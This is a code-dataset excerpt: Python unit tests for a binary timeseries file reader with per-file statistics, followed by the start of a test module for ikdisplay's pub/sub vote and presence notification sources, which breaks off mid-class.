self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_S_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.float64), np.int16(o))
with BinaryTimeseries('../src/test/resources/D_S_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_S_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.float64), np.int16(o))
with BinaryTimeseries('../src/test/resources/D_S_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_I_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.int64), np.int32(o))
with BinaryTimeseries('../src/test/resources/D_I_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_I_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.int64), np.int32(o))
with BinaryTimeseries('../src/test/resources/D_I_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_I_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.int64), np.int32(o))
with BinaryTimeseries('../src/test/resources/D_I_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_I_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.int64), np.int32(o))
with BinaryTimeseries('../src/test/resources/D_I_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_I_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.float64), np.int32(o))
with BinaryTimeseries('../src/test/resources/D_I_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_I_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.float64), np.int32(o))
with BinaryTimeseries('../src/test/resources/D_I_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_L_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.int64), np.int64(o))
with BinaryTimeseries('../src/test/resources/D_L_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_L_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.int64), np.int64(o))
with BinaryTimeseries('../src/test/resources/D_L_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_L_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.int64), np.int64(o))
with BinaryTimeseries('../src/test/resources/D_L_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_L_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.int64), np.int64(o))
with BinaryTimeseries('../src/test/resources/D_L_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_L_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.float64), np.int64(o))
with BinaryTimeseries('../src/test/resources/D_L_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_L_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.float64), np.int64(o))
with BinaryTimeseries('../src/test/resources/D_L_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_F_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/D_F_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_F_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/D_F_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_F_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/D_F_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_F_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/D_F_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_F_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/D_F_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_F_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/D_F_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_D_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/D_D_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_D_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/D_D_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_D_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/D_D_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_D_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/D_D_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_D_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/D_D_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_D_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/D_D_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
if __name__ == '__main__':
unittest.main()
| 56.886086
| 99
| 0.614405
| 11,092
| 74,407
| 3.9304
| 0.006401
| 0.110652
| 0.267547
| 0.312139
| 0.996605
| 0.99633
| 0.99633
| 0.99633
| 0.99633
| 0.99633
| 0
| 0.05279
| 0.229629
| 74,407
| 1,307
| 100
| 56.92961
| 0.707769
| 0.000282
| 0
| 0.865031
| 1
| 0
| 0.035115
| 0.035008
| 0
| 0
| 0
| 0
| 0.616564
| 1
| 0.064417
| false
| 0
| 0.002301
| 0
| 0.067485
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
25f367e2cca8616453297163a9700aca0dabf960
| 48,644
|
py
|
Python
|
ikdisplay/test/test_source.py
|
ralphm/ikdisplay
|
74ceffc853329259e54348e80bc0517858bac015
|
[
"MIT"
] | 2
|
2018-02-04T10:20:53.000Z
|
2019-08-19T18:35:33.000Z
|
ikdisplay/test/test_source.py
|
ralphm/ikdisplay
|
74ceffc853329259e54348e80bc0517858bac015
|
[
"MIT"
] | null | null | null |
ikdisplay/test/test_source.py
|
ralphm/ikdisplay
|
74ceffc853329259e54348e80bc0517858bac015
|
[
"MIT"
] | null | null | null |
"""
Tests for L{ikdisplay.source}.
"""
from zope.interface import verify
from twisted.trial import unittest
from twisted.words.xish import domish
from wokkel.generic import parseXml
from wokkel import pubsub
from twittytwister.streaming import Entities, Indices, Media, Status, URL, User
from ikdisplay import aggregator, source, xmpp
class TestPubSubSource(source.PubSubSourceMixin):
TEXTS_NL = {
'via': u'Test Bron',
}
TEXTS_EN = {
'via': u'Test Source',
}
via = None
def format_payload(self, payload):
return {
'title': u'Title',
'subtitle': u'Subtitle',
}
class TestFeed(object):
storeID = 1
language = 'en'
handle = 'test'
notifications = []
def processNotifications(self, notifications):
self.notifications.extend(notifications)
class PubSubSourceMixinTest(unittest.TestCase):
def setUp(self):
self.feed = TestFeed()
self.source = TestPubSubSource()
self.source.feed = self.feed
self.source.activate()
items = [pubsub.Item(payload=domish.Element((None, 'test')))]
self.event = pubsub.ItemsEvent(None, None, 'vote/160225', items, None)
def test_receiveItems(self):
self.source.itemsReceived(self.event)
self.assertEquals(1, len(self.feed.notifications))
def test_format(self):
notifications = self.source.format(self.event)
self.assertEquals(1, len(notifications))
def test_formatVia(self):
notifications = self.source.format(self.event)
self.assertTrue(notifications[0]['meta'].endswith(u' via Test Source'))
def test_formatViaFromNotification(self):
def format_payload(payload):
return {'via': u'Other'}
self.source.format_payload = format_payload
notifications = self.source.format(self.event)
self.assertTrue(notifications[0]['meta'].endswith(u' via Other'))
def formatPayload(src, xml):
"""
Hook up a newly created source to a feed and call format_payload.
"""
payload = parseXml(xml)
feed = aggregator.Feed(handle=u'mediamatic', language=u'en')
src.activate()
src.feed = feed
return src.format_payload(payload)
class PubSubSourceTests(object):
def test_interfaceISource(self):
"""
Does this source provide L{source.ISource}?
"""
verify.verifyObject(source.ISource, self.source)
def test_interfaceIPubSubEventProcessor(self):
"""
Does this source provide L{xmpp.IPubSubEventProcessor}?
"""
verify.verifyObject(xmpp.IPubSubEventProcessor, self.source)
class GetThingIDTest(unittest.TestCase):
def test_good(self):
uri = u'http://mediamatic.nl/id/1'
self.assertEquals(u'1', source.getThingID(uri))
class SimpleSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.SimpleSource}.
"""
def setUp(self):
self.source = source.SimpleSource()
class VoteSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.VoteSource}.
"""
def setUp(self):
thing = source.Thing(uri=u'http://www.mediamatic.net/id/160225')
self.source = source.VoteSource(question=thing)
def test_formatPayload(self):
xml = """
<rsp>
<vote>
<id>173603</id>
<reader_serial>A3S280TD</reader_serial>
<reader_id_ref>82984</reader_id_ref>
<rfid_tag>urn:rfid:7E6FD7A0</rfid_tag>
<user_id_ref>124445</user_id_ref>
<user_session_id/>
<answer_id_ref>160252</answer_id_ref>
<question_id_ref>160225</question_id_ref>
<reader_location_id_ref/>
<timestamp>2010-09-09 15:21:29</timestamp>
<source/>
<poll_session_id/>
</vote>
<person>
<title>Fred Pook</title>
<image>http://fast.mediamatic.nl/f/sjnh/image/411/124445-480-480-crop.jpg</image>
<works_for/>
</person>
<question>
<title>Publieks-poll voor de DOEN pitch</title>
<id>160225</id>
<answers>
<item>
<answer_id>160252</answer_id>
<title>Shadow Search Platform</title>
<count>1</count>
<percentage>33.3333333333</percentage>
</item>
</answers>
<total_votes>3</total_votes>
</question>
</rsp>"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'Fred Pook',
notification['title'])
self.assertEquals(u'voted for Shadow Search Platform',
notification['subtitle'])
def test_formatPayloadUnknown(self):
"""
Unknown tags will report as Illegal Alien.
"""
xml = """
<rsp>
<vote>
<id>173603</id>
<reader_serial>A3S280TD</reader_serial>
<reader_id_ref>82984</reader_id_ref>
<rfid_tag>urn:rfid:7E6FD7A0</rfid_tag>
<user_id_ref>124445</user_id_ref>
<user_session_id/>
<answer_id_ref>160252</answer_id_ref>
<question_id_ref>160225</question_id_ref>
<reader_location_id_ref/>
<timestamp>2010-09-09 15:21:29</timestamp>
<source/>
<poll_session_id/>
</vote>
<person>
<title/>
<image/>
</person>
<question>
<title>Publieks-poll voor de DOEN pitch</title>
<id>160225</id>
<answers>
<item>
<answer_id>160252</answer_id>
<title>Shadow Search Platform</title>
<count>1</count>
<percentage>33.3333333333</percentage>
</item>
</answers>
<total_votes>3</total_votes>
</question>
</rsp>"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'An illegal alien',
notification['title'])
self.assertEquals(u'voted for Shadow Search Platform',
notification['subtitle'])
class PresenceSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.PresenceSource}.
"""
def setUp(self):
thing = source.Thing(uri=u'http://www.mediamatic.net/id/160225')
self.source = source.PresenceSource(question=thing)
def test_formatPayload(self):
xml = """
<rsp>
<vote>
<id>173603</id>
<reader_serial>A3S280TD</reader_serial>
<reader_id_ref>82984</reader_id_ref>
<rfid_tag>urn:rfid:7E6FD7A0</rfid_tag>
<user_id_ref>124445</user_id_ref>
<user_session_id/>
<answer_id_ref>160252</answer_id_ref>
<question_id_ref>160225</question_id_ref>
<reader_location_id_ref/>
<timestamp>2010-09-09 15:21:29</timestamp>
<source/>
<poll_session_id/>
</vote>
<person>
<title>Fred Pook</title>
<image>http://fast.mediamatic.nl/f/sjnh/image/411/124445-480-480-crop.jpg</image>
<works_for/>
</person>
<question>
<title>Publieks-poll voor de DOEN pitch</title>
<id>160225</id>
<answers>
<item>
<answer_id>160252</answer_id>
<title>Shadow Search Platform</title>
<count>1</count>
<percentage>33.3333333333</percentage>
</item>
</answers>
<total_votes>3</total_votes>
</question>
</rsp>"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'Fred Pook',
notification['title'])
self.assertEquals(u'was at the entrance',
notification['subtitle'])
class IkMicSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.IkMicSource}.
"""
def setUp(self):
thing = source.Thing(uri=u'http://www.mediamatic.net/id/160225')
self.source = source.IkMicSource(question=thing)
def test_formatPayload(self):
xml = """
<rsp>
<vote>
<id>173603</id>
<reader_serial>A3S280TD</reader_serial>
<reader_id_ref>82984</reader_id_ref>
<rfid_tag>urn:rfid:7E6FD7A0</rfid_tag>
<user_id_ref>124445</user_id_ref>
<user_session_id/>
<answer_id_ref>160252</answer_id_ref>
<question_id_ref>160225</question_id_ref>
<reader_location_id_ref/>
<timestamp>2010-09-09 15:21:29</timestamp>
<source/>
<poll_session_id/>
</vote>
<person>
<title>Fred Pook</title>
<image>http://fast.mediamatic.nl/f/sjnh/image/411/124445-480-480-crop.jpg</image>
<works_for/>
</person>
<question>
<title>Publieks-poll voor de DOEN pitch</title>
<id>160225</id>
<answers>
<item>
<answer_id>160252</answer_id>
<title>Shadow Search Platform</title>
<count>1</count>
<percentage>33.3333333333</percentage>
</item>
</answers>
<total_votes>3</total_votes>
</question>
</rsp>"""
notification = formatPayload(self.source, xml)
self.assertEquals(u'Fred Pook',
notification['title'])
self.assertIn(notification['subtitle'],
source.IkMicSource.TEXTS_EN['interrupt'])
class StatusSourceTest(unittest.TestCase, PubSubSourceTests):
"""
Tests for L{ikdisplay.source.StatusSource}.
"""
def setUp(self):
